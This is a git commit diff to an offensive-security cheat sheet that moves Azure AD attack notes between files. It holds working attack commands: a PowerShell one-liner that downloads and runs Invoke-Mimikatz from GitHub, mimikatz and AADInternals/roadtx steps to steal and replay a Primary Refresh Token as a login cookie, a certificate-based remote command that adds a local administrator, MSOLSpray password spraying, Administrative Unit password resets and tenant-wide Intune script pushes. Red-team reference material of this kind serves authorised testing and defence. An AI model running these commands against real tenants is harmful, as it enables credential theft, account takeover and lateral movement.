Pass-the-PRT
parent
1d5f4ccb45
commit
abd1de1b0b
|
@ -16,13 +16,10 @@
|
|||
* [Stealing tokens from az powershell](#stealing-tokens-from-az-powershell)
|
||||
* [Pass The Certificate](#pass--the-certificate)
|
||||
* [Pass The PRT](#pass-the-prt)
|
||||
* [Intunes Administration](#intunes-administration)
|
||||
* [Administrative Unit](#administrative-unit)
|
||||
* [Deployment Template](#deployment-template)
|
||||
* [Application Proxy](#application-proxy)
|
||||
* [Azure AD](#azure-ad)
|
||||
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
|
||||
* [Password Spray](#password-spray)
|
||||
* [Convert GUID to SID](#convert-guid-to-sid)
|
||||
* [Azure AD Connect](#azure-ad-connect)
|
||||
* [References](#references)
|
||||
|
@ -347,48 +344,6 @@ az account get-access-token --resource-type aad-graph
|
|||
* Users can save tokens using `Save-AzContext`
|
||||
|
||||
|
||||
## Pass The PRT
|
||||
|
||||
> MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).
|
||||
|
||||
```powershell
|
||||
# Run mimikatz to obtain the PRT
|
||||
PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
|
||||
# Copy the PRT and KeyValue
|
||||
Mimikatz> privilege::debug
|
||||
Mimikatz> token::elevate
|
||||
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect
|
||||
|
||||
# Copy the Context, ClearKey and DerivedKey
|
||||
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Generate a JWT
|
||||
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
|
||||
PS AADInternals> $PRT_OF_USER = '...'
|
||||
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
|
||||
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
|
||||
PS AADInternals> $ClearKey = "XXYYZZ..."
|
||||
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
|
||||
eyJ0eXAiOiJKV1QiL...
|
||||
```
|
||||
|
||||
The `<Signed JWT>` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf.
|
||||
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:
|
||||
|
||||
```powershell
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: <Signed JWT>
|
||||
HttpOnly: √
|
||||
```
|
||||
|
||||
:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`.
|
||||
|
||||
|
||||
## Pass The Certificate
|
||||
|
||||
```ps1
|
||||
|
@ -412,33 +367,6 @@ python Main.py --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENAN
|
|||
certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"
|
||||
```
|
||||
|
||||
## Intunes Administration
|
||||
|
||||
Requirements:
|
||||
* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
|
||||
|
||||
1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
|
||||
:warning: It will take up to one hour before you script is executed !
|
||||
|
||||
|
||||
## Administrative Unit
|
||||
|
||||
> Administrative Unit can reset password of another user
|
||||
|
||||
```powershell
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
|
||||
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
|
||||
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
|
||||
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
|
||||
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
|
||||
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose
|
||||
```
|
||||
|
||||
## Deployment Template
|
||||
|
||||
|
@ -505,22 +433,6 @@ With Microsoft, if you are using any cloud services (Office 365, Exchange Online
|
|||
* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
|
||||
* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
|
||||
|
||||
### Password Spray
|
||||
|
||||
> Default lockout policy of 10 failed attempts, locking out an account for 60 seconds
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/dafthack/MSOLSpray
|
||||
Import-Module .\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
|
||||
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
|
||||
|
||||
# UserList - UserList file filled with usernames one-per-line in the format "user@domain.com"
|
||||
# Password - A single password that will be used to perform the password spray.
|
||||
# OutFile - A file to output valid results to.
|
||||
# Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
|
||||
# URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
|
||||
```
|
||||
|
||||
### Convert GUID to SID
|
||||
|
||||
|
|
|
@ -112,15 +112,30 @@ A Primary Refresh Token (PRT) is a key artifact in the authentication and identi
|
|||
```
|
||||
|
||||
|
||||
### Extract PRT v1
|
||||
### Extract PRT v1 - Pass-the-PRT
|
||||
|
||||
```ps1
|
||||
mimikatz # token::elevate
|
||||
mimikatz # sekurlsa::cloudap
|
||||
mimikatz # sekurlsa::dpapi
|
||||
mimikatz # dpapi::cloudapkd /keyvalue:<key-value> /unprotect
|
||||
roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url https://portal.azure.com
|
||||
```
|
||||
MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).
|
||||
|
||||
* Use mimikatz to extract the PRT and session key
|
||||
```ps1
|
||||
mimikatz # privilege::debug
|
||||
mimikatz # token::elevate
|
||||
mimikatz # sekurlsa::cloudap
|
||||
mimikatz # sekurlsa::dpapi
|
||||
mimikatz # dpapi::cloudapkd /keyvalue:<key-value> /unprotect
|
||||
```
|
||||
* Use either roadtx or AADInternals to generate a new PRT token
|
||||
```ps1
|
||||
roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url https://portal.azure.com
|
||||
|
||||
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
|
||||
PS AADInternals> $PRT_OF_USER = '...'
|
||||
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
|
||||
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
|
||||
PS AADInternals> $ClearKey = "XXYYZZ..."
|
||||
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
```
|
||||
|
||||
|
||||
### Extract PRT on Device with TPM
|
||||
|
@ -134,6 +149,13 @@ roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url
|
|||
* Use [dirkjanm/ROADtoken](https://github.com/dirkjanm/ROADtoken) or [wotwot563/aad_prt_bof](https://github.com/wotwot563/aad_prt_bof) to initiate a new PRT request.
|
||||
* `roadrecon auth --prt-cookie <prt-cookie> --tokens-stdout --debug` or `roadtx gettoken --prt-cookie <x-ms-refreshtokencredential>`
|
||||
* Then browse to [login.microsoftonline.com ](login.microsoftonline.com ) with a cookie `x-ms-RefreshTokenCredential:<output-from-roadrecon>`
|
||||
```powershell
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: <Signed JWT>
|
||||
HttpOnly: √
|
||||
```
|
||||
|
||||
:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`.
|
||||
|
||||
|
||||
### Request a PRT with Hybrid Device
|
||||
|
@ -231,3 +253,4 @@ $Tokens
|
|||
* [Microsoft 365 Developer Program](https://developer.microsoft.com/en-us/microsoft-365/dev-program)
|
||||
* [PRT Abuse from Userland with Cobalt Strike - 0xbad53c](https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike)
|
||||
* [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94)
|
||||
* [Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert - AADInternals.com - September 01, 2020](https://aadinternals.com/post/prt/)
|
|
@ -48,6 +48,24 @@ Rule description: Any Guest user whose secondary email contains the string 'vend
|
|||
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
|
||||
```
|
||||
|
||||
|
||||
### Administrative Unit
|
||||
|
||||
Administrative Unit can reset password of another user
|
||||
|
||||
```powershell
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnit -All $true
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
|
||||
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
|
||||
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
|
||||
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
|
||||
|
||||
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
|
||||
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose
|
||||
```
|
||||
|
||||
|
||||
## Devices
|
||||
|
||||
### List Devices
|
||||
|
|
|
@ -32,7 +32,6 @@
|
|||
```
|
||||
|
||||
|
||||
|
||||
### Enumerate Email
|
||||
|
||||
> By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
|
||||
|
@ -50,9 +49,14 @@
|
|||
|
||||
### Password Spraying
|
||||
|
||||
The default lockout policy tolerates 10 failed attempts, then lock out an account for 60 seconds.
|
||||
|
||||
```powershell
|
||||
PS> git clone https://github.com/dafthack/MSOLSpray
|
||||
PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
|
||||
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose
|
||||
PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
|
||||
PS> Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
|
||||
```
|
||||
|
||||
|
||||
|
|
|
@ -210,6 +210,22 @@ az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-g
|
|||
```
|
||||
|
||||
|
||||
### Intunes Administration
|
||||
|
||||
Requirements:
|
||||
* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
|
||||
|
||||
1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
|
||||
:warning: It will take up to one hour before you script is executed !
|
||||
|
||||
|
||||
|
||||
|
||||
## Office 365
|
||||
|
||||
### Microsoft Teams Messages
|
||||
|
|
Loading…
Reference in New Issue